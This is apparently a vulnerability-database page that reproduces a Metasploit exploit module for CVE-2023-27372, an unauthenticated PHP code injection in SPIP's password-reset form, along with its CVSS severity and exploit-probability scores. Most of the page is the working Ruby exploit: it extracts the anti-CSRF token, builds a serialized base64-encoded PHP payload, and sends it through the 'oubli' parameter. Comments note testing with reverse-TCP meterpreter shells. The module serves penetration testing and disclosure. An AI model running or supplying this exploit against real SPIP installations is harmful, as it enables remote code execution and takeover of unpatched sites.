Lucene search

K
metasploitCoiffeur, Laluka, Julien Voisin, Valentin LobsteinMSF:EXPLOIT-MULTI-HTTP-SPIP_RCE_FORM-
HistoryAug 30, 2024 - 6:37 p.m.

SPIP form PHP Injection

2024-08-3018:37:32
coiffeur, Laluka, Julien Voisin, Valentin Lobstein
www.rapid7.com
46
spip
php
injection
oubli parameter
arbitrary commands
unauthenticated
vulnerability
versions
metasploit
remote exploit
web privileges
code execution
security advisory
cve-2023-27372

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

EPSS

0.974

Percentile

99.9%

This module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HTTP::Spip

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SPIP form PHP Injection',
        'Description' => %q{
          This module exploits a PHP code injection in SPIP. The vulnerability exists in the
          oubli parameter and allows an unauthenticated user to execute arbitrary commands
          with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions
          are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.
        },
        'Author' => [
          'coiffeur',         # Initial discovery
          'Laluka',           # PoC
          'Julien Voisin',    # MSF module
          'Valentin Lobstein' # Added Windows compatibility and code rewrite
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ],
          [ 'URL', 'https://therealcoiffeur.com/c11010' ],
          [ 'CVE', '2023-27372' ],
        ],
        'Privileged' => false,
        'Platform' => %w[php unix linux win],
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-02-27'
      )
    )
  end

  def check
    rversion = spip_version || spip_plugin_version('spip')
    return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

    print_status("SPIP Version detected: #{rversion}")

    vulnerable_ranges = [
      { start: Rex::Version.new('4.2.0'), end: Rex::Version.new('4.2.1') },
      { start: Rex::Version.new('4.1.0'), end: Rex::Version.new('4.1.18') },
      { start: Rex::Version.new('4.0.0'), end: Rex::Version.new('4.0.10') },
      { start: Rex::Version.new('3.2.0'), end: Rex::Version.new('3.2.18') }
    ]

    vulnerable_ranges.each do |range|
      if rversion.between?(range[:start], range[:end])
        return Exploit::CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
      end
    end

    return Exploit::CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
  end

  def send_payload(cmd, args = {})
    send_request_cgi(
      {
        'uri' => args['uri'],
        'method' => 'POST',
        'vars_post' => {
          'page' => 'spip_pass',
          'lang' => 'fr',
          'formulaire_action' => 'oubli',
          'formulaire_action_args' => args['csrf'],
          'oubli' => cmd
        }
      }
    )
  end

  def php_exec_cmd(encoded_payload)
    vars = Rex::RandomIdentifier::Generator.new
    dis = '$' + vars[:dis]
    encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
    shell = <<-END_OF_PHP_CODE
        #{php_preamble(disabled_varname: dis)}
        $c = base64_decode("#{encoded_clean_payload}");
        #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
    END_OF_PHP_CODE
    return shell
  end

  def exploit
    uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')
    res = send_request_cgi({ 'uri' => uri })

    fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res
    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200

    csrf = ''
    unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty?
      csrf = node.first['value']
    end

    print_status("Got anti-csrf token: #{csrf}")
    print_status("#{rhost}:#{rport} - Attempting to exploit...")

    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    final_payload = "<?php #{phped_payload} ?>"
    oubli = "s:#{final_payload.length}:\"#{final_payload}\";"

    send_payload(oubli, { 'uri' => uri, 'csrf' => csrf })
  end
end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.2

Confidence

Low

EPSS

0.974

Percentile

99.9%